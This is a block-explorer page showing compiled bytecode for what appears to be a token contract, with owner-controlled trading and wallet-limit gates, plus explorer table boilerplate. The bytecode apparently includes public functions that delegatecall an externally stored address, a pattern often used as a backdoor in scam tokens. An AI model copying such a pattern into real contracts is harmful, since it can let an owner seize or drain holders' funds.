81855af49150503d80600081146107ac576040519150601f19603f3d011682016040523d82523d6000602084013e6107b1565b606091505b50915091505050565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610848919061145c565b9250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461089e919061145c565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f49190611490565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610958919061125d565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b8060048190555050565b60066020528060005260406000206000915054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a8257600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60056020528060005260406000206000915090505481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba157600080fd5b6001600b60146101000a81548160ff021916908315150217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60149054906101000a900460ff1681565b60018054610c049061139e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c309061139e565b8015610c7d5780601f10610c5257610100808354040283529160200191610c7d565b820191906000526020600020905b815481529060010190602001808311610c6057829003601f168201915b505050505081565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f9f82ecf2000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610d519190611416565b600060405180830381855af49150503d8060008114610d8c576040519150601f19603f3d011682016040523d82523d6000602084013e610d91565b606091505b50915091505050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610deb919061145c565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e419190611490565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610eef5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f7c57600b60149054906101000a900460ff16610f0d57600080fd5b6000612710600454600254610f2291906114c4565b610f2c9190611535565b9050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f7a57600080fd5b505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fd9919061125d565b60405180910390a36001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015611070578082015181840152602081019050611055565b60008484015250505050565b6000601f19601f8301169050919050565b600061109882611036565b6110a28185611041565b93506110b2818560208601611052565b6110bb8161107c565b840191505092915050565b600060208201905081810360008301526110e0818461108d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611118826110ed565b9050919050565b6111288161110d565b811461113357600080fd5b50565b6000813590506111458161111f565b92915050565b6000819050919050565b61115e8161114b565b811461116957600080fd5b50565b60008135905061117b81611155565b92915050565b60008060408385031215611198576111976110e8565b5b60006111a685828601611136565b92505060206111b78582860161116c565b9150509250929050565b60008115159050919050565b6111d6816111c1565b82525050565b60006020820190506111f160008301846111cd565b92915050565b60006020828403121561120d5761120c6110e8565b5b600061121b84828501611136565b91505092915050565b61122d8161110d565b82525050565b60006020820190506112486000830184611224565b92915050565b6112578161114b565b82525050565b6000602082019050611272600083018461124e565b92915050565b600080600060608486031215611291576112906110e8565b5b600061129f86828701611136565b93505060206112b086828701611136565b92505060406112c18682870161116c565b9150509250925092565b600060ff82169050919050565b6112e1816112cb565b82525050565b60006020820190506112fc60008301846112d8565b92915050565b600060208284031215611318576113176110e8565b5b60006113268482850161116c565b91505092915050565b60008060408385031215611346576113456110e8565b5b600061135485828601611136565b925050602061136585828601611136565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b657607f821691505b6020821081036113c9576113c861136f565b5b50919050565b600081519050919050565b600081905092915050565b60006113f0826113cf565b6113fa81856113da565b935061140a818560208601611052565b80840191505092915050565b600061142282846113e5565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114678261114b565b91506114728361114b565b925082820390508181111561148a5761148961142d565b5b92915050565b600061149b8261114b565b91506114a68361114b565b92508282019050808211156114be576114bd61142d565b5b92915050565b60006114cf8261114b565b91506114da8361114b565b92508282026114e88161114b565b915082820484148315176114ff576114fe61142d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115408261114b565b915061154b8361114b565b92508261155b5761155a611506565b5b82820490509291505056fea2646970667358221220e6c6bc277624ecf57ea4e478a9a7e88dd7ffc83eab76fe3b9e5a22bb9688b1bd64736f6c63430008160033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.